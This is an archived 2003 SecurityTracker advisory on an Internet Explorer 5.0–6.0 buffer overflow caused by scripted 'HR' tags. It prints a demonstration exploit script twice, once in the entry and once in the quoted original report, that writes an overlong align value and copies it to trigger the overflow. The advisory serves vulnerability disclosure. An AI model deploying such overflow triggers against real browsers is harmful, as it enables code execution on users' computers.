Microsoft Internet Explorer Buffer Overflow in Processing Scripted 'HR' Tags Lets Remote Users Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1007072
|
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Jun 27 2003
|
Impact: Execution of arbitrary code via network, User access via network
|
Exploit Included: Yes
|
Version(s): 5.0, 5.5, 6.0
|
Description: A buffer overflow vulnerability was reported in Microsoft Internet Explorer. A remote user can create HTML that will execute arbitrary code on the target user's system.
Digital Scream reported that a remote user can create HTML containing scripting code that writes a specially crafted "HR" tag to
trigger a stack overflow. When a target user views the HTML, the overflow can cause arbitrary code to be executed with the privileges
of the target user.
Another user (xenophi1e) reports that the overflow occurs in HTML32.cnv and that a remote user can effectively
control the EBP, EIP, and other registers.
A demonstration exploit is provided:
<script>
wnd=open("about:blank","","");
wnd.moveTo(screen.Width,screen.Height);
WndDoc=wnd.document;
WndDoc.open();
WndDoc.clear();
buffer="";
for(i=1;i<=127;i++)buffer+="X";
buffer+="DigitalScream";
WndDoc.write("<HR align='"+buffer+"'>");
WndDoc.execCommand("SelectAll");
WndDoc.execCommand("Copy");
wnd.close();
<script>
|
Impact: A remote user can create HTML that, when loaded by the target user, will execute arbitrary code on the target user's computer with the privileges of the target user.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: www.microsoft.com/technet/security/ (Links to External Site)
|
Cause: Boundary error
|
Underlying OS: Windows (Any)
|
Reported By: Digital Scream <digitalscream@real.xakep.ru>
|
Message History:
This archive entry has one or more follow-up message(s) listed below.
|
Source Message Contents
|
Date: 22 Jun 2003 00:58:21 -0000
From: Digital Scream <digitalscream@real.xakep.ru>
Subject: Internet Explorer >=5.0 : Buffer overflow
|
<script>
wnd=open("about:blank","","");
wnd.moveTo(screen.Width,screen.Height);
WndDoc=wnd.document;
WndDoc.open();
WndDoc.clear();
buffer="";
for(i=1;i<=127;i++)buffer+="X";
buffer+="DigitalScream";
WndDoc.write("<HR align='"+buffer+"'>");
WndDoc.execCommand("SelectAll");
WndDoc.execCommand("Copy");
wnd.close();
</script>
Grtz: Nj3l, buggzy, 3APA3A, Void Team, X - Crew
|
|
